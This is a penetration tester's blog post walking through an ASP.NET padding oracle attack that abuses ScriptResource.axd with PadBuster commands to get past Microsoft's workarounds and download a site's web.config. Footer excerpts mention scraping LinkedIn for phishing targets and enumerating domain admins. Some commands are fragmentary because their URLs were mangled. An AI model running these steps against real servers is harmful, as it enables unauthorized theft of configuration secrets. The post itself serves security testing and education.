Skip to main content

.NET Padding Oracle Attack,, and the Microsoft Recommended Workarounds

For some stupid reason, Whenever GoDaddy sees h t t p s : / / it turns it into a link and removes the scheme. This even happens if you edit the html manually. Because of this sillyness, I've used https:\\ below.

Since I first heard of the Padding Oracle issue, I've wanted to use it to exploit a site. I had that chance this week. Alex Lauerman and I muddled our way through this confusing (at least to me) attack scenario.

The attack is dependent on the server responding differently to an error in the decryption process vs an error in the application due to invalid data. The different response codes tells us whether or not the padding is valid or invalid. If you want to read more on the background of the issue, check out the great post over at

Now that we have a bit of the background covered, back to the site. Upon quick inspection we saw that 404 and 500 errors are redirected to the same error page. Bantha Herders! How did we know this? The 404 result was easy to test, just request an non-existant page. To test the crypto error we found a link in the page:


...messed with it...

...and we were redirected to the same error page.

So all errors redirect to the same page. Bummer, we can't use the status or error page to determine if the padding is invalid or not. But we can still use ScriptResource.axd to bypass all the workarounds recommended by Microsoft.

To add to the fun, the site requires authentication. We need to login and then grab our cookies for use with our attack tool. There are many ways to get the working cookies, I just used FireFox with TamperData to grap the cookies. Once cool thing I noticed, is that even if my session times out and I can no longer browse the site with my browser, I can still request the ScriptResource.axd. It seems that ScriptResource.axd does some different checking on a valid session.

So let's start our attack by beginning with Step 1: Find a valid T-Block Request (The second Step 1, not the first Step 1). We need to find a valid ScriptResource.axd link in the page source, and then we use padbuster.

$ perl "https:\\"
xxxxxxxxxxxxxxxx 16 -encoding 3 -bruteforce -log -verbose
-cookies "ASP.NET_SessionId=f2471ac5-e515-..."

PadBuster requires the URL (taken from the page's source), the encrypted sample (the d value), block size (16 in .NET), and the encoding (3=.NET UrlToken). The bruteforce option is used to find a valid T-Block. The verbose option is used so we can actually see when we have found a valid T-Block. When one is found you will see this:

Attempt 15 - Status: 200 - Content Length: 393

Now we can use the T-Block request, along with the -prefix option, to use ScriptResource as a padding oracle. We can then decrypt the existing d parameter.

/ScriptResource.axd?d=xxxxxxxxxxxxxxxx" xxxxxxxxxxxxxxxx 16 -encoding 3 -noiv
-prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtbanxz
8uZusApWVWny8usel5V8b61BtSQ2PY1" -cookies "ASP.NET_SessionId=f2471ac5-e515-..."

Boring, but what about downloading the web.config file? First, we need to use the oracle to encrypt "|||~/web.config". Why that string? Well, I'll (sort of) explain that later.

$ perl "https:\\"
xxxxxxxxxxxxxxxx 16 -encoding 3 -plaintext "|||~/web.config" -noiv
-prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtbanxz
-cookies "ASP.NET_SessionId=f2471ac5-e515-..."


** Finished ***

[+] Encrypted value is: BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1

So now we have the encypted version of "|||~/web.config". We can use this with our request to ScriptResource.axd to download the web.config. Now, why that string? According to

"The most common way to download files remotely from unpatched framework 3.5 Sp1 and 4.0 is to obtain after decryption a string similar to the one below:

I'm not sure why, but I'll take their word for it. At this point we have encrypted portion of the string above, but we have to bruteforce the first block so we can get "r#gargabe".

perl https:\\
-verbose -encoding 3 -bruteforce -log -cookies "ASP.NET_SessionId=f2471ac5-e515-..."

It will regularly hit strings that will decrypt, but do not match the string we want (r#garbage|||~/web.config). You will see a of results like this:

Attempt 15 - Status: 200 - Content Length: 373

Attempt 485 - Status: 200 - Content Length: 364

The web.config is significantly longer than ~370 bytes. So sit back, grab a drink, and wait. Let this bugger run for a LONG time. In my test it took over 21000 requests. I added the log option so we don't have to keep an eye on the screen. You can come back later and run this command to look for responses with a content length greater than 1000 bytes.

$ cat ActivityLog.txt | grep -E "Length: [0-9]{4,} -A 1"
Attempt 21906 - Status: 200 - Content Length: 12186
Attempt 28796 - Status: 200 - Content Length: 12183
Attempt 35162 - Status: 200 - Content Length: 12183

We have a WINNER!!!!

Now to retrieve the file.
$ curl "https:\\
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0" --insecure -H "Cookie: ASP.NET_SessionId=f2471ac5-e515-..." > web.config

The web.config file is probably gzip encoded so view it like this:

$ gunzip -c web.config

<?xml version="1.0"?>



Popular posts from this blog

Extracting Users from LinkedIn via Burp

We do a lot of pen tests and red teaming at Red Siege. Part of reconnaissance includes gathering a list of employees from a target organization. Typically, those usernames will be used in either phishing or password spray attacks (trying a few passwords across a long list of users). LinkedIn is a treasure trove of information! I'm going to use my good friends at Black Hills Information Security as my guinea pigs (sorry, and thanks!). The tool is here. First, let's look at what the data from LinkedIn looks like a response.

After performing a search for "Black Hills Information Security" we can look at the requests and responses. LinkedIn includes all the user information in responses to "/voyager/api/mux".

We can click the "Next" button a few times in our search to load multiple pages of info. Now, for the extraction. First, select everything in the "HTTP history" with Ctrl+A or Command+A on macOS. Second, right click in the top portion. …

Beyond Net User - Part 1: Limitations of the "Net" commands

I've had a number of cases where the Windows "net user", "net group", and "net localgroup" have failed me. I've had SQLMap fail to give the last line of "net user" output, I've had "net group /domain" not give me the full names (I still don't get how that failed!). On top of that, the commands don't support wildcards. Also, the output of those commands is a pain to parse due to the columns. I'd much prefer to use the AD PowerShell cmdlets, but those aren't always available. I set to find other ways to get the same data. First, let's look at the limitations of the "net" commands.
Net command limitations Hiding Groups in Groups Often when pen testing and red teaming, we would like to figure out information about the domain, most notably the members of the Domain Admins group. Output of the net group "domain admins" command as shown below.

It shows three members: Administrator, sqlagent,…

Beyond Net User - Part 2: DS Commands

In the previous post we discussed some of the limitations of Net commands. Most notably, the output limitation (doesn't show all groups) and it doesn't allow for flexible searching. In this post we'll discuss the DS commands to get around these limitations.
DSGet, DSQuery, DS* While these tools are useful, they aren't always available. As a pen tester and red teamer, I have to live with what I can find on the systems I come across. I find that these tools are still more widespread than the latest PowerShell Active Directory cmdlets, at least on non-system administrator systems. Here is a useful Stack Overflow post on the subject. Recursive Searches In the last post, we discussed a limitation in net group in that it doesn't show groups in other groups. The DS commands do! As a reminder, let's take a look at what we saw with net group when looking at the list of domain administrators.

Now let's do the same search, but use the dsquery and dsget.
dsquery group -…